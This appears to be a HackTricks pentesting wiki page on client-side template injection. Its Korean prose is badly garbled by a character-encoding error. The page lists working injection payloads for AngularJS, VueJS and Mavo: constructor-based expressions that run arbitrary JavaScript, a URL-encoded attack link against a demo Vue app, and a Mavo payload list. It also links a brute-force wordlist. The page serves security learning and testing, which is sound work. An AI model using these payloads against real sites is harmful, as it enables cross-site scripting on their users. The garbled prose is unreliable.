# Client Side Template Injection (CSTI)
{% hint style="success" %}
Learn & practice AWS Hacking: [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) \
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)** ](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** π¬ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** π¦ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
#### [WhiteIntel](https://whiteintel.io)
[**WhiteIntel**](https://whiteintel.io)λ **λ€ν¬ μΉ** κΈ°λ°μ κ²μ μμ§μΌλ‘, κΈ°μ
μ΄λ κ³ κ°μ΄ **νμ·¨ μ
μ±μ½λ**μ μν΄ **μΉ¨ν΄**λμλμ§ νμΈν μ μλ **무λ£** κΈ°λ₯μ μ 곡ν©λλ€.
WhiteIntelμ μ£Όμ λͺ©νλ μ 보 νμ·¨ μ
μ±μ½λλ‘ μΈν κ³μ νμ·¨ λ° λμ¬μ¨μ΄ 곡격μ λ§μ μΈμ°λ κ²μ
λλ€.
κ·Έλ€μ μΉμ¬μ΄νΈλ₯Ό νμΈνκ³ **무λ£**λ‘ μμ§μ μ¬μ©ν΄ λ³Ό μ μμ΅λλ€:
{% embed url="https://whiteintel.io" %}
***
## Summary
μ΄κ²μ [**μλ² μ¬μ΄λ ν
νλ¦Ώ μΈμ μ
**](ssti-server-side-template-injection/)κ³Ό λΉμ·νμ§λ§ **ν΄λΌμ΄μΈνΈ**μμ λ°μν©λλ€. **SSTI**λ μ격 μλ²μμ **μ½λ μ€ν**μ νμ©ν μ μμ§λ§, **CSTI**λ νΌν΄μμ λΈλΌμ°μ μμ **μμμ JavaScript** μ½λλ₯Ό μ€νν μ μκ² ν©λλ€.
μ΄ μ·¨μ½μ μ **ν
μ€νΈ**νλ κ²μ **SSTI**μ κ²½μ°μ λ§€μ° **μ μ¬**νλ©°, μΈν°ν리ν°λ **ν
νλ¦Ώ**μ κΈ°λνκ³ μ΄λ₯Ό μ€νν©λλ€. μλ₯Ό λ€μ΄, `{{ 7-7 }}`μ κ°μ νμ΄λ‘λλ₯Ό μ¬μ©νμ λ, μ±μ΄ **μ·¨μ½**νλ€λ©΄ `0`μ΄ νμλκ³ , κ·Έλ μ§ μλ€λ©΄ μλμ `{{ 7-7 }}`κ° νμλ©λλ€.
## AngularJS
AngularJSλ **`ng-app`**μΌλ‘ μλ €μ§ μμ±μ ν΅ν΄ HTMLκ³Ό μνΈμμ©νλ λ리 μ¬μ©λλ JavaScript νλ μμν¬μ
λλ€. μ΄ μ§μμ΄λ AngularJSκ° HTML μ½ν
μΈ λ₯Ό μ²λ¦¬ν μ μκ² νμ¬, μ€κ΄νΈ μμ μλ JavaScript ννμμ μ€νν μ μκ² ν©λλ€.
μ¬μ©μ μ
λ ₯μ΄ `ng-app`μΌλ‘ νκ·Έλ HTML λ³Έλ¬Έμ λμ μΌλ‘ μ½μ
λλ μλ리μ€μμλ μμμ JavaScript μ½λλ₯Ό μ€νν μ μμ΅λλ€. μ΄λ μ
λ ₯ λ΄μμ AngularJSμ ꡬ문μ νμ©νμ¬ λ¬μ±ν μ μμ΅λλ€. μλλ JavaScript μ½λλ₯Ό μ€ννλ λ°©λ²μ 보μ¬μ£Όλ μμμ
λλ€:
```javascript
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
```
λΉμ μ **AngularJS**μ μ·¨μ½μ μ λν λ§€μ° **κΈ°λ³Έμ μΈ μ¨λΌμΈ μμ **λ₯Ό [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/)μ [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)μμ μ°Ύμ μ μμ΅λλ€.
{% hint style="danger" %}
[**Angular 1.6μ μλλ°μ€λ₯Ό μ κ±°νμ΅λλ€**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) κ·Έλμ μ΄ λ²μ λΆν°λ `{{constructor.constructor('alert(1)')()}}` λλ ` `μ κ°μ νμ΄λ‘λκ° μλν΄μΌ ν©λλ€.
{% endhint %}
## VueJS
λΉμ μ [https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh)μμ **μ·¨μ½ν Vue** ꡬνμ μ°Ύμ μ μμ΅λλ€.\
μλνλ νμ΄λ‘λ: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor\(%27alert\(%22foo%22\)%27\)\(\)%7D%7D)
κ·Έλ¦¬κ³ μ·¨μ½ν μμ μ **μμ€ μ½λ**λ μ¬κΈ°μμ νμΈν μ μμ΅λλ€: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)
```markup
"> aaa
```
A really good post on CSTI in VUE can be found in [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
### **V3**
```
{{_openBlock.constructor('alert(1)')()}}
```
Credit: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
### **V2**
```
{{constructor.constructor('alert(1)')()}}
```
Credit: [Mario Heiderich](https://twitter.com/cure53berlin)
**λ λ§μ VUE νμ΄λ‘λλ₯Ό νμΈνμΈμ** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected)
## Mavo
Payload:
```
[7*7]
[(1,alert)(1)]
{{top.alert(1)}}
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
test
lolxself.alert('lol')lolx
test
[self.alert(1)mod1]
```
**λ λ§μ νμ΄λ‘λλ** [**https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations**](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations)
## **λΈλ£¨νΈν¬μ€ νμ§ λͺ©λ‘**
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
#### [WhiteIntel](https://whiteintel.io)
[**WhiteIntel**](https://whiteintel.io)λ **λ€ν¬μΉ** κΈ°λ°μ κ²μ μμ§μΌλ‘, κΈ°μ
μ΄λ κ³ κ°μ΄ **μ€νΈλ¬ 맬μ¨μ΄**μ μν΄ **μΉ¨ν΄**λμλμ§ νμΈν μ μλ **무λ£** κΈ°λ₯μ μ 곡ν©λλ€.
WhiteIntelμ μ£Όμ λͺ©νλ μ 보 νμ·¨ 맬μ¨μ΄λ‘ μΈν κ³μ νμ·¨ λ° λμ¬μ¨μ΄ 곡격μ λ§μ μΈμ°λ κ²μ
λλ€.
κ·Έλ€μ μΉμ¬μ΄νΈλ₯Ό νμΈνκ³ **무λ£**λ‘ μμ§μ μ¬μ©ν΄ λ³Ό μ μμ΅λλ€:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
AWS ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°: [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) \
GCP ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°: [**HackTricks Training GCP Red Team Expert (GRTE)** ](https://training.hacktricks.xyz/courses/grte)
HackTricks μ§μνκΈ°
* [**ꡬλ
κ³ν**](https://github.com/sponsors/carlospolop) νμΈνκΈ°!
* **π¬ [**Discord κ·Έλ£Ή**](https://discord.gg/hRep4RUj7f) λλ [**ν
λ κ·Έλ¨ κ·Έλ£Ή**](https://t.me/peass)μ μ°Έμ¬νκ±°λ **Twitter** π¦ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**λ₯Ό νλ‘μ°νμΈμ.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) λ° [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) κΉνλΈ λ¦¬ν¬μ PRμ μ μΆνμ¬ ν΄νΉ νμ 곡μ νμΈμ.**
{% endhint %}